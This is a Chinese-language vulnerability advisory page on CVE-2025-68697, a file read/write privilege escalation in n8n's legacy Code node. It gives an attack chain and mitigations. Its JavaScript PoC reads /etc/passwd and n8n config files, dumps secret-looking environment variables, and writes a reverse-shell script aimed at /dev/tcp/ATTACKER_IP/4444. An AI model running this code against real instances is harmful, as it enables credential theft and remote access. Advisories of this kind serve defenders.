IPBUF安全漏洞报告
English
CVE-2025-68697 CVSS 7.1 高危

CVE-2025-68697: n8n Code节点权限提升漏洞导致文件读写

披露日期: 2025-12-26

漏洞信息

漏洞编号
CVE-2025-68697
漏洞类型
权限提升/任意文件读写
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
n8n (开源工作流自动化平台)

相关标签

CVE-2025-68697n8n权限提升任意文件读写Code节点JavaScript注入工作流自动化legacy执行模式高危漏洞

漏洞概述

CVE-2025-68697是n8n工作流自动化平台中的一个高危安全漏洞,CVSS评分7.1。该漏洞影响2.0.0之前的所有版本,主要存在于自托管n8n实例的Code节点功能中。当Code节点以传统(legacy)JavaScript执行模式运行时,经过身份验证且具有工作流编辑权限的用户可以从Code节点内部调用n8n的内部辅助函数,从而在n8n进程相同的权限级别下执行操作。由于n8n通常以较高权限运行,攻击者可以利用此漏洞突破预期的权限边界,实现对主机文件系统的任意读写访问。攻击者可以读取敏感配置文件、凭据、用户数据等敏感信息,也可以向系统写入恶意文件。该漏洞需要攻击者具备有效的用户账户和基本的workflow编辑权限,攻击复杂度低且无需用户交互,危害性较高。

技术细节

n8n的Code节点允许用户编写JavaScript代码来操作工作流数据。在传统执行模式下,Code节点的JavaScript运行环境与n8n主进程共享上下文,攻击者可以利用JavaScript的动态特性访问n8n内部暴露的辅助函数和模块。通过这些内部API,攻击者可以调用文件系统操作函数(如fs.readFile、fs.writeFile等),这些操作以n8n进程的操作系统用户权限执行,绕过了Web应用通常的文件访问限制。具体利用方式包括:1) 通过require或内部模块引用获取fs模块;2) 使用fs.readFile读取任意文件(如/etc/passwd、n8n配置文件、数据库连接信息等);3) 使用fs.writeFile向系统写入文件,可能用于部署后门或修改系统配置。由于n8n通常在容器或服务器环境中以root或高权限用户运行,文件访问限制(如OS/container permissions)可能被绕过。漏洞的根源在于Code节点没有正确隔离JavaScript执行环境与n8n内部组件,导致权限边界模糊。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标n8n实例版本,确认版本低于2.0.0且Code节点运行在legacy执行模式
STEP 2
2. 认证获取
攻击者获取有效用户账户(通过社工、弱口令、凭证泄露等),并确保账户具有workflow编辑权限
STEP 3
3. 恶意工作流创建
攻击者登录n8n控制台,创建包含恶意Code节点的工作流,利用Code节点调用内部fs模块
STEP 4
4. 文件读取利用
通过fs.readFileSync()读取系统敏感文件,如/etc/passwd、n8n配置文件、环境变量等,窃取凭据和配置信息
STEP 5
5. 文件写入利用
通过fs.writeFileSync()向主机文件系统写入恶意文件,如后门脚本、计划任务等
STEP 6
6. 权限维持/横向移动
利用获取的凭据进行横向移动,或通过写入的后门维持持久化访问

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-68697 PoC - n8n Code Node Arbitrary File Read/Write // Target: n8n instances < 2.0.0 with legacy Code node execution mode // Method 1: Read arbitrary files using internal modules const fs = require('fs'); // Read sensitive files from host filesystem const passwd = fs.readFileSync('/etc/passwd', 'utf8'); console.log('=== /etc/passwd content ==='); console.log(passwd); // Read n8n configuration files const n8nConfig = fs.readFileSync('/home/n8n/.n8n/config', 'utf8'); console.log('=== n8n config ==='); console.log(n8nConfig); // Method 2: Write files to host filesystem const maliciousContent = '#!/bin/bash\n# Malicious reverse shell\n/bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'; fs.writeFileSync('/tmp/reverse_shell.sh', maliciousContent); console.log('Malicious file written to /tmp/reverse_shell.sh'); // Method 3: Enumerate and exfiltrate environment variables const envVars = process.env; console.log('=== Environment Variables ==='); Object.keys(envVars).forEach(key => { if (key.includes('PASS') || key.includes('SECRET') || key.includes('KEY') || key.includes('TOKEN')) { console.log(`${key}: ${envVars[key]}`); } }); // Method 4: Read database credentials if accessible try { const dbConfig = fs.readFileSync('/home/n8n/.n8n/database', 'utf8'); console.log('=== Database Config ==='); console.log(dbConfig); } catch(e) { console.log('Database config not accessible via this path'); } return {status: 'File read/write exploit executed'};

影响范围

n8n < 2.0.0 (self-hosted instances with legacy Code node mode)

防御指南

临时缓解措施
立即采取以下临时缓解措施:1) 升级n8n到2.0.0及以上版本;2) 如无法立即升级,设置N8N_RESTRICT_FILE_ACCESS_TO环境变量将文件访问限制在专用目录,并确保该目录不包含敏感数据;3) 保持N8N_BLOCK_FILE_ACCESS_TO_N8N_FILES=true以阻止访问n8n内部文件;4) 使用NODES_EXCLUDE排除Code节点,仅允许可信用户使用工作流编辑功能;5) 以低权限用户身份运行n8n服务,避免以root运行;6) 审查现有工作流,移除可疑的Code节点配置。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表